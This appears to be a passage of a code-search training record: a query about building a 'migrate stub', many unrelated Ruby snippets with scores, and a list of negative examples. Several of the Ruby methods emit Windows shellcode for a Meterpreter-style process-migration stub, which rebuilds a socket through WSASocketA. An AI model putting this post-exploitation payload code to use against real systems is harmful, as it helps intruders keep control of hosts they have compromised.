%i[vmAddNetworkAdapters network_adapter_add],\n %i[vmRemoveNetworkAdapters network_adapter_remove],\n %i[vmEditNetworkAdapters network_adapter_edit],\n ]\n end\n\n if role_allows?(:feature => 'vm_reconfigure_drives')\n list += [\n %i[vmConnectCDRoms cdrom_connect],\n %i[vmDisconnectCDRoms cdrom_disconnect]\n ]\n end\n\n list\n end", "def credentials\n YAML.load_file('config/secrets.yml')['admins']\n end", "def watch_configured_directories config_file\n\n watched_directories = []\n\n config = Datyl::Config.new(config_file, 'default')\n\n config.all_sections.each do |section|\n\n site_config = Datyl::Config.new(config_file, 'default', section)\n next unless site_config.site # only use sections concerning websites\n\n # TODO: DRY up the next two sections (ftp_queue/digitool_queue)\n\n if site_config.ftp_queue\n errors = WatchUtils.directory_problems(site_config.ftp_queue)\n if errors.empty?\n STDERR.puts \"INFO: Watching FTP incoming directory in #{site_config.ftp_queue} for #{section}\"\n watched_directories.push FtpWatchDirectory.new(site_config, section)\n else\n STDERR.puts \"ERROR: Skipping watching FTP directory #{site_config.ftp_queue} for #{section}, these configuration errors were encountered:\"\n errors.each { |line| STDERR.puts \"ERROR: \" + line }\n end\n end\n\n end\n\n return watched_directories.compact\nend", "def configurations\n @configurations ||= []\n end", "def index\n @wx_configs = WxConfig.all\n end", "def list_apps\n render :text => app_configs.keys\n end", "def core_getHideUsersSettings\n return CORE_SUPERUSERSHIDESETTINGS if defined? CORE_SUPERUSERSHIDESETTINGS\n # accedo al config.yml\n directory = core_getCacheDirectory\n config = YAML.load(\n File.read(File.expand_path(\"#{directory}/config.yml\", __FILE__))\n )\n # controllo che il file di configurazione esista e abbia i dati necessari\n return false if !config['hide_users'] || config['hide_users'].nil?\n # estraggo lista impostazioni utenti da nascondere\n settings = config['hide_users'].split(',')\n # definisco output\n output = []\n # riempio file di output\n settings.each do |setting|\n setting.slice! ' '\n if setting\n values = setting.split('to')\n raise 'Permission value not correct on hide_users config' unless (1..11).to_a.include? values.first.to_i\n raise 'Permission value not correct on hide_users config' unless (1..11).to_a.include? values.last.to_i\n output.push([values.first, values.last])\n end\n end\n # ritorno l'output\n return output\n end", "def admin_teams_settings_setDefaultChannels(options = {})\n raise ArgumentError, 'Required arguments :channel_ids missing' if options[:channel_ids].nil?\n raise ArgumentError, 'Required arguments :team_id missing' if options[:team_id].nil?\n post('admin.teams.settings.setDefaultChannels', options)\n end", "def collaborators(app_env)\n app_setting_list('collaborators', app_env)\n end", "def collaborators(app_env)\n app_setting_list('collaborators', app_env)\n end", "def list_admins\n service_response = ManagerManagement::Team::ListAdmins.new(params).perform\n return render_api_response(service_response)\n end", "def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end", "def list()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('registrysettings', 'list', 'KalturaRegistrySettingsListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def blocklist_or_blacklist_config(level)\n if Chef::Config[\"#{level}_attribute_blacklist\".to_sym]\n Chef.deprecated(:attribute_blacklist_configuration, \"Attribute blacklist configurations have been deprecated. Use the blocked_LEVEL_attribute configs instead\")\n Chef::Config[\"#{level}_attribute_blacklist\".to_sym]\n else\n Chef::Config[\"blocked_#{level}_attributes\".to_sym]\n end\n end", "def channels\r\n return for_context(nil, false) { |c| c.channels }\r\n end", "def list_cloud_resource_admins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n project =\n projects(\n domain_id: domain.id,\n name: Rails.configuration.cloud_admin_project,\n ).first\n return [] unless project\n list_scope_resource_admins(\n { project_id: project.id },\n \"cloud_resource_admin\",\n )\n end", "def targeted_managed_app_configurations=(value)\n @targeted_managed_app_configurations = value\n end", "def list_workweek_configs(limit: nil,\n cursor: nil)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/labor/workweek-configs',\n 'default')\n .query_param(new_parameter(limit, key: 'limit'))\n .query_param(new_parameter(cursor, key: 'cursor'))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def list_mirrors\n out = runcmd 'aptly mirror list'\n parse_list out.lines\n end", "def vcenter_configuration\n clusters = settings.provider.datacenter.clusters\n clusters = clusters.split(\",\") if clusters.is_a?(String)\n {\n \"host\"=>settings.provider.credentials.host,\n \"user\"=>settings.provider.credentials.user,\n \"password\"=>settings.provider.credentials.password,\n \"datacenters\"=>[{\n \"name\"=>settings.provider.datacenter.name,\n \"vm_folder\"=>settings.provider.datacenter.vm_folder,\n \"template_folder\"=>settings.provider.datacenter.template_folder,\n \"disk_path\"=>settings.provider.datacenter.disk_path,\n \"datastore_pattern\"=>settings.provider.datacenter.datastore_pattern,\n \"persistent_datastore_pattern\"=>settings.provider.datacenter.persistent_datastore_pattern,\n \"allow_mixed_datastores\"=>settings.provider.datacenter.allow_mixed_datastores,\n \"clusters\"=>clusters\n }]\n }\n end", "def get_serv_config\n\t\taction = \"configuration\"\n\t\tresponse = call_api(action)\n\tend", "def generate_config_for_linter(linter, files)\n [].tap do |output|\n output << \" # Offense count: #{linters_lint_count[linter]}\"\n output << \" #{linter}:\"\n # disable the linter when there are many files with offenses.\n # exclude the affected files otherwise.\n if files.count > exclude_limit\n output << ' enabled: false'\n else\n output << ' exclude:'\n files.each do |filename|\n output << %{ - \"#{filename}\"}\n end\n end\n end.join(\"\\n\")\n end", "def subscribed_channels\n @channels\n end", "def get_kubernetes_sys_config_policy_list(opts = {})\n data, _status_code, _headers = get_kubernetes_sys_config_policy_list_with_http_info(opts)\n data\n end", "def generate_config(watchers)\n main_stanza = []\n events_stanza = []\n http_stanza = []\n upstream_stanza = []\n location_stanza = []\n server_stanza = []\n watchers.each do |watcher|\n # if service doesnt has nginx block, skip it\n next unless watcher.nginx \n log.info \"#{watcher.name} - #{watcher.backends} - #{watcher.haproxy} - #{watcher.nginx}\"\n @watcher_configs[watcher.name] = parse_watcher_config(watcher)\n log.info @watcher_configs\n upstream_stanza << generate_upstream_stanza(watcher, @watcher_configs[watcher.name]['upstream']) \n location_stanza << generate_location_stanza(watcher,@watcher_configs[watcher.name]['location'])\n end\n\n main_config = get_main_config\n main_stanza = generate_main_stanza(main_config)\n\n event_config = get_event_config\n events_stanza = generate_event_stanza(event_config)\n\n http_config = get_http_config\n http_stanza = generate_http_stanza(http_config)\n close_bracket = [\"}\"]\n\n base_server_config = get_server_base_config\n server_stanza = generate_server_stanza(location_stanza,base_server_config)\n if http_stanza.empty?\n final_config = main_stanza << events_stanza << http_stanza << upstream_stanza << server_stanza \n else\n final_config = main_stanza << events_stanza << http_stanza << upstream_stanza << server_stanza << close_bracket \n end\n log.info \"config array is #{final_config}\"\n\n return final_config\n end", "def black_list(client = nil)\n @black_list ||= []\n @black_list << client if client\n @black_list\n end", "def list_settings(opts = {})\n data, _status_code, _headers = list_settings_with_http_info(opts)\n data\n end", "def to_configure_properties\n ['@security', '@channel_flags', '@clas', '@race', '@traits', '@sign', '@stuff']\n end", "def toggle_mute(data, buffer, args)\n bool = Weechat.config_get_plugin('mute') == 'on' ? 'off' : 'on'\n Weechat.config_set_plugin( 'mute', bool )\n print_info \"tts mute toggled #{bool}\"\n end", "def whitelist\n config[\"whitelist\"]\n end", "def index\n @category_of_playlists_channels = current_user_category_of_playlists\n end" ]
[ "0.60781336", "0.5077458", "0.49592078", "0.49429196", "0.49361446", "0.49273643", "0.48339686", "0.48153472", "0.48004612", "0.47821614", "0.46847573", "0.46818435", "0.46818435", "0.46568942", "0.46550396", "0.46374267", "0.45901334", "0.458083", "0.4455111", "0.44218585", "0.44163996", "0.43989784", "0.43835497", "0.43759534", "0.4358099", "0.4347269", "0.4338726", "0.43230072", "0.4276033", "0.4263121", "0.42630982", "0.424325", "0.42204434", "0.42160544", "0.42010665", "0.41992614", "0.41940457", "0.41666448", "0.41612506", "0.41448694", "0.4140412", "0.41198796", "0.41146845", "0.41138077", "0.41138077", "0.4103634", "0.40997466", "0.40951222", "0.4093151", "0.40885082", "0.40840745", "0.4077606", "0.40608865", "0.40595415", "0.40571624", "0.405611", "0.40545583", "0.40336505", "0.40310943", "0.4027346", "0.4027019", "0.40190986", "0.40109235", "0.40048683", "0.4004448", "0.40012515", "0.39960757", "0.39851454", "0.39717963", "0.39709532", "0.39680442", "0.39534068", "0.39425215", "0.3939432", "0.39379883", "0.39305976", "0.39214882", "0.39209586", "0.39209586", "0.39111483", "0.39019492", "0.38928378", "0.38892388", "0.3888958", "0.3876731", "0.38689396", "0.3862949", "0.38609636", "0.38579953", "0.38568035", "0.38548645", "0.38429818", "0.38415664", "0.38408005", "0.38279903", "0.3825047", "0.38215742", "0.38201454", "0.38195586", "0.38187018" ]
0.8602586
0
Constructs the migrate stub on the fly
def generate_migrate(opts={}) %Q^ load_ws2_32: mov r14, 'ws2_32' push r14 mov rcx, rsp ; pointer to 'ws2_32' sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later) mov r13, rsp ; save pointer to this struct sub rsp, 0x28 ; space for api function calls (really?) mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA('ws2_32') init_networking: mov rdx, r13 ; pointer to the wsadata struct push 2 pop rcx ; Version = 2 mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call rbp ; WSAStartup(Version, &WSAData) create_socket: xor r8, r8 ; protocol not specified push r8 ; flags == 0 push r8 ; reserved == NULL lea r9, [rsi+0x10] ; Pointer to the info in the migration context push 1 pop rdx ; SOCK_STREAM push 2 pop rcx ; AF_INET mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0) xchg rdi, rax ^ end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end", "def generate_migrate_stub(target_process)\n stub = nil\n\n\n if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)\n t = get_current_transport\n\n c = Class.new(::Msf::Payload)\n\n if target_process['arch'] == ARCH_X86\n c.include(::Msf::Payload::Windows::BlockApi)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp)\n end\n else\n c.include(::Msf::Payload::Windows::BlockApi_x64)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp_x64)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp_x64)\n end\n end\n\n stub = c.new().generate\n else\n raise RuntimeError, \"Unsupported session #{client.session_type}\"\n end\n\n stub\n end", "def migrate\n raise NotImplementedError\n end", "def create_migration\n if invoked_attributes.present?\n args = [\"create_#{plural_name}\"] + (invokable(invoked_attributes) | timestamps)\n args += [\"--database\", options['database']] if options['database']\n Rails::Generators.invoke('migration', args)\n return\n end\n\n return if with_resource_tenant do\n table_name = resource.klass.table_name\n\n if ActiveRecord::Base.connection.table_exists?(table_name)\n say_status(:error, \"#{table_name} table already exist. We can't migrate (yet). Exiting.\", :red)\n true\n end\n end\n\n if resource.model_attributes.blank?\n say_status(:error, \"No model attributes present. Please add the effective_resource do ... end block and try again\", :red)\n return\n end\n\n args = [\"create_#{plural_name}\"] + invokable(resource.model_attributes) - timestamps\n args += [\"--database\", options['database']] if options['database']\n\n if options['database'].blank? && defined?(Tenant)\n args += [\"--database\", resource.klass.name.split('::').first.downcase]\n end\n\n Rails::Generators.invoke('migration', args)\n end", "def migration(&block)\n if caller[0].rindex(/\\/(?:[0-9]+)_([_a-z0-9]*).rb:\\d+(?::in `.*')?$/)\n m = Object.const_set $1.camelize, Class.new(ActiveRecord::Migration)\n m.class_eval(&block) # 3.1\n else\n raise ArgumentError, \"Could not create migration at: #{caller[0]}\"\n end\n end", "def migration\n end", "def initialize(webapp, dry_run, &block)\n @migration = SimpleMigration.new(webapp, dry_run: dry_run || false)\n Migrator.migrations << migration\n instance_exec(&block)\n end", "def generate!\n ::ActiveRecord::Base.establish_connection 'production'\n Schemaless::MigrationsGenerator.new(all_tables).invoke_all\n end", "def migrate\n run_migrations pending_migrations, :up\n end", "def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n push '32'\n push 'ws2_'\n push esp ; pointer to 'ws2_32'\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA('ws2_32')\n init_networking:\n mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size\n sub esp, eax ; allocate space for the WSAData structure\n push esp ; Pointer to the WSAData structure\n push eax ; Version required\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call ebp ; WSAStartup(Version, &WSAData)\n create_socket:\n push eax ; eax is 0 on success, use it for flags\n push eax ; reserved\n lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct\n push ebx ; pass the info struct address\n push eax ; no protocol is specified\n inc eax\n push eax ; SOCK_STREAM\n inc eax\n push eax ; AF_INET\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg edi, eax\n ^\n end", "def migrate(version = nil)\n @logger.fine('Running test migrations...')\n super(File.join(Automation::FRAMEWORK_ROOT, Automation::FET_DIR, 'test/database/migrations'), version)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end", "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n %w{acts_as_follower_migration.rb\tadd_social_to_users.rb\t\tcreate_single_use_links.rb\tadd_ldap_attrs_to_user.rb\nadd_avatars_to_users.rb\t\tcreate_checksum_audit_logs.rb\tcreate_version_committers.rb\nadd_groups_to_users.rb\t\tcreate_local_authorities.rb\tcreate_trophies.rb}.each do |f|\n better_migration_template f\n end\n end", "def generate_migration\n file_name = \"#{Time.current.utc.strftime('%Y%m%d%H%M%S')}_#{migration_name.underscore}\"\n @migration_class_name = migration_name.camelize\n \n template \"empty_migration.rb.erb\", \"db/cassandra_migrate/#{file_name}.rb\" \n end", "def migrate\n DataMapper.auto_migrate!\n end", "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end", "def generate_migration options = {}\n options.to_options!\n chroot do\n before = Dir.glob \"./db/migrate/*\"\n n = Dir.glob(\"./db/migrate/*_bj_*\").size\n classname = \"BjMigration#{ n }\"\n util.spawn \"#{ Bj.ruby } ./script/generate migration #{ classname }\", options rescue nil\n after = Dir.glob \"./db/migrate/*\"\n candidates = after - before\n case candidates.size\n when 0\n false\n when 1\n generated = candidates.first\n open(generated, \"w\"){|fd| fd.puts Bj.table.migration_code(classname)}\n Bj.logger.info{ \"generated <#{ generated }>\" }\n generated\n else\n raise \"ambiguous migration <#{ candidates.inspect }>\"\n end\n end\n end", "def generate\n if Rails.version < '4'\n migration_template('rails3_migration',\n \"#{db_migrate_path}/create_db_poller.rb\")\n else\n migration_template('migration',\n \"#{db_migrate_path}/create_db_poller.rb\")\n end\n end", "def migrate\n maintenance = Heroku::PgMigrate::Maintenance.new(api, app)\n scale_zero = Heroku::PgMigrate::ScaleZero.new(api, app)\n rebind = Heroku::PgMigrate::RebindConfig.new(api, app)\n provision = Heroku::PgMigrate::Provision.new(api, app)\n foi_pgbackups = Heroku::PgMigrate::FindOrInstallPgBackups.new(api, app)\n transfer = Heroku::PgMigrate::Transfer.new(api, app)\n check_shared = Heroku::PgMigrate::CheckShared.new(api, app)\n release_num = Heroku::PgMigrate::ReleaseNumber.new(api, app)\n\n mp = Heroku::PgMigrate::MultiPhase.new()\n mp.enqueue(check_shared)\n mp.enqueue(foi_pgbackups)\n mp.enqueue(provision)\n mp.enqueue(release_num)\n mp.enqueue(maintenance)\n mp.enqueue(scale_zero)\n mp.enqueue(transfer)\n mp.enqueue(rebind)\n\n mp.engage()\n end", "def generate_migrations\n Dir[File.join(source_paths, 'db', 'migrate', '*.rb')].each do |file|\n migration_filepath = file.match(/\\A.+\\/(db\\/migrate\\/.+)\\Z/i)[1]\n raw_migration_filename = file.match(/\\d+\\_(.+)\\Z/i)[1] \n migration_template migration_filepath, \"db/migrate/#{raw_migration_filename}\" \n end\n end", "def run_migration(&block)\n # Create a new migration class\n klass = Class.new(ActiveRecord::Migration[5.0])\n # Create a new `up` that executes the argument\n klass.send(:define_method, :up) { instance_exec(&block) }\n # Create a new instance of it and execute its `up` method\n klass.new.up\n end", "def initialize (id:, name:, type:, db:)\n @id = id\n @name = name\n @type = type\n @db = db\n \n # SQLRunner.execute_schema_migration_sql\n # binding.pry\n end", "def run_migrate\n manage_py_execute('migrate', '--noinput') if new_resource.migrate\n end", "def install_migrations\n migrations = [\n \"create_blogelator_posts.rb\",\n \"create_blogelator_authors.rb\",\n \"create_blogelator_tags.rb\",\n \"create_blogelator_posts_tags.rb\",\n \"create_blogelator_posts_posts.rb\"\n ]\n migration_path = \"db/migrate\"\n migrations.each do |file|\n migration_template \"#{migration_path}/#{file}\", \"#{migration_path}/#{file}\"\n end\n end", "def migration(options={})\n get_location\n # TODO: validate options\n @params[:migration] = FEATURE_DEFAULTS[:migration].merge(options)\n @params[:migration][:generate] = true\n end", "def do_migrations\n migration_path = File.join(\"generators\", \"talia\", \"templates\", \"migrations\")\n ActiveRecord::Migrator.migrate(migration_path, ENV[\"VERSION\"] ? ENV[\"VERSION\"].to_i : nil )\n end", "def define\n desc \"Generate a migration (don't forget to pass the migration name)\"\n task \"#{@name}:migrations:generate\", [:name] do |t, args|\n raise 'Need a migration name' unless args[:name]\n Enrar::Migration.new(args[:name]).generate!\n end\n\n desc \"Create the db\"\n task \"#{@name}:db:create\" do\n Enrar::DB.new.create!\n end\n\n desc \"Migrate the database (VERBOSE=true)\"\n task \"#{@name}:db:migrate\", [:version] do |t, args|\n Enrar::Migrator.new(args[:version], verbose: ENV['VERBOSE']).migrate!\n end\n self\n end", "def create_migration_file\n super\n\n migration_template(\"migration_spec.rb\", File.join(spec_dir, \"#{file_name}_spec.rb\"))\n end", "def generate_migration(tables)\n return if tables.empty? && @db_tables.empty?\n result.clear\n\n add_line \"Sequel.migration do\"\n indent do\n generate_migration_body(tables)\n end\n add_line \"end\\n\"\n\n result.join(\"\\n\")\n end", "def create_migration_file\n #~ migration_template 'users.rb', 'db/migrate/create_users_table.rb',\n\t\t#~ migration_template 'profiles.rb', 'db/migrate/create_contact_details_table.rb',\n\t\t#~ migration_template 'subjects.rb', 'db/migrate/create_profiles_table.rb',\n\t\t#~ migration_template 'attachments.rb', 'db/migrate/create_attachments_table.rb'\n end", "def execute_generate_migration(name, options = nil)\n result = execute_generator 'migration', name, options\n result.last.last\n end", "def run\n load_migrations\n @migrations.each do |mig_class, version|\n mig_class.up\n # Add it to the schema_migrations table as well\n # This will fail if auto-migrations is only and always used,\n # as the schema_migrations table will not exist.\n SchemaMigration.find_or_create_by_version(version) rescue nil\n end\n end", "def migrate!\n connect! unless connected?\n Sequel.extension :migration\n Sequel::Migrator.run(db, File.join(__dir__, \"../../db/migrations\"), table: schema_table)\n end", "def create_migration_files\n source_dir = 'db/migrate/country_domain'\n destination_dir = 'db/migrate'\n\n migration_template(\n \"#{source_dir}/0001_create_countries.rb\",\n \"#{destination_dir}/create_countries.rb\"\n )\n\n migration_template(\n \"#{source_dir}/0002_create_administrative_level_types.rb\",\n \"#{destination_dir}/create_administrative_level_types.rb\"\n )\n\n migration_template(\n \"#{source_dir}/0003_create_administrative_divisions.rb\",\n \"#{destination_dir}/create_administrative_divisions.rb\"\n )\n\n migration_template(\n \"#{source_dir}/0004_create_postal_codes.rb\",\n \"#{destination_dir}/create_postal_codes.rb\"\n )\n\n migration_template(\n \"#{source_dir}/0005_create_administrative_street_names.rb\",\n \"#{destination_dir}/create_administrative_street_names.rb\"\n )\n\n migration_template(\n \"#{source_dir}/0006_create_administrative_street_numbers.rb\",\n \"#{destination_dir}/create_administrative_street_numbers.rb\"\n )\n end", "def create_migration_file\n f = File.open File.join(File.dirname(__FILE__), 'templates', 'schema.rb')\n schema = f.read; f.close\n \n schema.gsub!(/ActiveRecord::Schema.*\\n/, '')\n schema.gsub!(/^end\\n*$/, '')\n\n f = File.open File.join(File.dirname(__FILE__), 'templates', 'migration.rb')\n migration = f.read; f.close\n migration.gsub!(/SCHEMA_AUTO_INSERTED_HERE/, schema)\n \n tmp = File.open \"tmp/~migration_ready.rb\", \"w\"\n tmp.write migration\n tmp.close\n\n migration_template '../../../tmp/~migration_ready.rb',\n 'db/migrate/create_framey_tables.rb'\n remove_file 'tmp/~migration_ready.rb'\n end", "def migrate\n ActiveRecord::Migrator.migrate(File.join(db_dir, \"migrate\"))\n end", "def copy_migrations\n rake 'hyrax:install:migrations'\n end", "def migration_railties; end", "def migration_railties; end", "def generate_migration\n template migration_template, \"db/migrate/#{migration_file_name}.rb\" if options.migration?\n end", "def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end", "def generate_files\n migration_template 'migration.rb', \"db/migrate/#{name}.rb\"\n end", "def create_migration\n migration_version = Time.now.to_i\n dir = \"/db/migrate/#{migration_version}_create_#{@scaffold_name}s.rb\"\n unless File.exists?(File.join(Dir.pwd,dir))\n source = \"#{@gem_path}/lib/modules/scaffold/migration.rb\"\n FileUtils.cp(source,File.join(Dir.pwd,dir))\n config_migration(migration_version)\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{dir}\"\n end\n end", "def create_migration_file\r\n migration_template 'migration.rb', 'db/migrate/create_baby_dove_model_data.rb'\r\n end", "def copy_migrations\n [\n \"acts_as_follower_migration.rb\",\n \"add_social_to_users.rb\",\n \"add_ldap_attrs_to_user.rb\",\n \"add_avatars_to_users.rb\",\n \"add_groups_to_users.rb\",\n \"create_local_authorities.rb\",\n \"create_trophies.rb\",\n 'add_linkedin_to_users.rb',\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb',\n 'add_external_key_to_content_blocks.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "def migrate(task, *step_files)\r\n step_files = begin\r\n Dir[File.join(File.dirname(__FILE__),\"../../migrate/*.rb\")]\r\n end if step_files.empty?\r\n establish! do\r\n step_files.each do |step_file|\r\n require step_file\r\n File.basename(step_file) =~ /(.*)\\.rb$/\r\n migration = $1.camelize.constantize\r\n step = migration.new\r\n case task.to_s\r\n when \"up\"\r\n step.up unless step.migrated?\r\n when \"reset\"\r\n step.reset if step.migrated?\r\n when \"down\"\r\n step.down if step.migrated?\r\n when \"backup\"\r\n step.backup(options) if step.migrated?\r\n else\r\n raise \"Unsupported sub command: #{task}\"\r\n end\r\n end\r\n end\r\n end", "def with_migration(&block)\n migration_class = ActiveRecord::Migration[\n ActiveRecord::Migration.current_version\n ]\n\n Class.new(migration_class, &block).new\nend", "def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end", "def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end", "def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end", "def migrate\n # Create the directories\n vpc_dir = \"#{@migration_root}/vpc\"\n policies_dir = \"#{vpc_dir}/policies\"\n route_tables_dir = \"#{vpc_dir}/route-tables\"\n network_acls_dir = \"#{vpc_dir}/network-acls\"\n subnets_dir = \"#{vpc_dir}/subnets\"\n vpcs_dir = \"#{vpc_dir}/vpcs\"\n\n if !Dir.exists?(@migration_root)\n Dir.mkdir(@migration_root)\n end\n if !Dir.exists?(vpc_dir)\n Dir.mkdir(vpc_dir)\n end\n if !Dir.exists?(policies_dir)\n Dir.mkdir(policies_dir)\n end\n if !Dir.exists?(route_tables_dir)\n Dir.mkdir(route_tables_dir)\n end\n if !Dir.exists?(network_acls_dir)\n Dir.mkdir(network_acls_dir)\n end\n if !Dir.exists?(subnets_dir)\n Dir.mkdir(subnets_dir)\n end\n if !Dir.exists?(vpcs_dir)\n Dir.mkdir(vpcs_dir)\n end\n\n # Migrate the different assets\n migrate_policies(policies_dir)\n route_table_names = migrate_route_tables(route_tables_dir)\n network_acl_names = migrate_network_acls(network_acls_dir)\n subnet_names = migrate_subnets(subnets_dir, route_table_names, network_acl_names)\n migrate_vpcs(vpcs_dir, route_table_names, subnet_names, network_acl_names)\n end", "def initialize(iam)\n @iam = iam\n @migration_root = \"generated\"\n end", "def migration_context\n klass = ActiveRecord::MigrationContext\n\n case klass.instance_method(:initialize).arity\n when 1\n klass.new(migration_path)\n else\n klass.new(migration_path, schema_migration)\n end\n end", "def create_migration_file\n migration_file = File.join(File.dirname(__FILE__), 'templates', 'migration.rb')\n migration_template migration_file, 'db/migrate/create_webhooks_table.rb'\n end", "def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end", "def migrate!(db = nil, &block)\n callback = migrate(db, &block)\n if callback.is_a?(Proc)\n callback.call\n else\n callback\n end\n end", "def create_tables!\n migrate(:up)\n end", "def copy_migrations\n rake \"sipity:install:migrations\"\n end", "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "def config_migration(migration_version)\n source = \"#{Dir.pwd}/db/migrate/#{migration_version}_create_#{@scaffold_name}s.rb\"\n modify_content(source, 'CreateMigration', \"Create#{@model_class}s\") \n modify_content(source, 'migration', \"#{@scaffold_name}s\") \n\n @arguments.each do |value| \n @attributes << value.split(':').first \n @data_types << value.split(':').last \n end\n\n attribute_data_types = @data_types.reverse\n @attributes.reverse.each_with_index do |value,index|\n add_attributes(source, value, attribute_data_types[index]) \n end\n end", "def create_tables\n create_mirrors\n create_users\n create_user_tokens\n create_products\n create_users_products\n create_versions\n create_dependencies\n create_access_keys\n end", "def copy_migrations\n [\n 'change_audit_log_pid_to_generic_file_id.rb',\n 'change_proxy_deposit_request_pid_to_generic_file_id.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "def migration(version, fingerprint, name)\n SchemaMigration.create!(version: version, migrated_at: Time.now, fingerprint: fingerprint, name: name)\n end", "def create_migration_file\n return if skip_migration_creation?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", File.join(db_migrate_path, \"create_#{table_name}.rb\")\n end", "def create_migration_file\n sleep 1\n migration_template 'migration.rb', 'db/migrate/create_social_accounts.rb'\n copy_file \"social_account.rb\", \"app/models/social_account.rb\"\n copy_file \"omniauth.rb\", \"config/initializers/omniauth.rb\"\n copy_file \"sessions_controller.rb\", \"app/controllers/sessions_controller.rb\"\n copy_file \"_social_login.html.erb\", \"app/views/sessions/_social_login.html.erb\"\n copy_file \"twitter_64.png\", \"app/assets/images/twitter_64.png\"\n copy_file \"facebook_64.png\", \"app/assets/images/facebook_64.png\"\n copy_file \"linkedin_64.png\", \"app/assets/images/linkedin_64.png\"\n copy_file \"twitter.yml\", \"config/twitter.yml\"\n copy_file \"facebook.yml\", \"config/facebook.yml\"\n copy_file \"linkedin.yml\", \"config/linkedin.yml\"\n end", "def migrate!(db = nil, &block)\n callback = migrate(db, &block)\n if callback.is_a?(Proc)\n callback.call\n else\n callback\n end\n end", "def copy_templates\n migrations_to_be_applied do |m|\n migration_template \"#{m}.rb\", \"db/migrate/#{m}.rb\"\n end\n end", "def migrate\n migrations_path = File.join(File.dirname(__FILE__), \"#{backend_name}/migrations\")\n Sequel.extension :migration\n unless 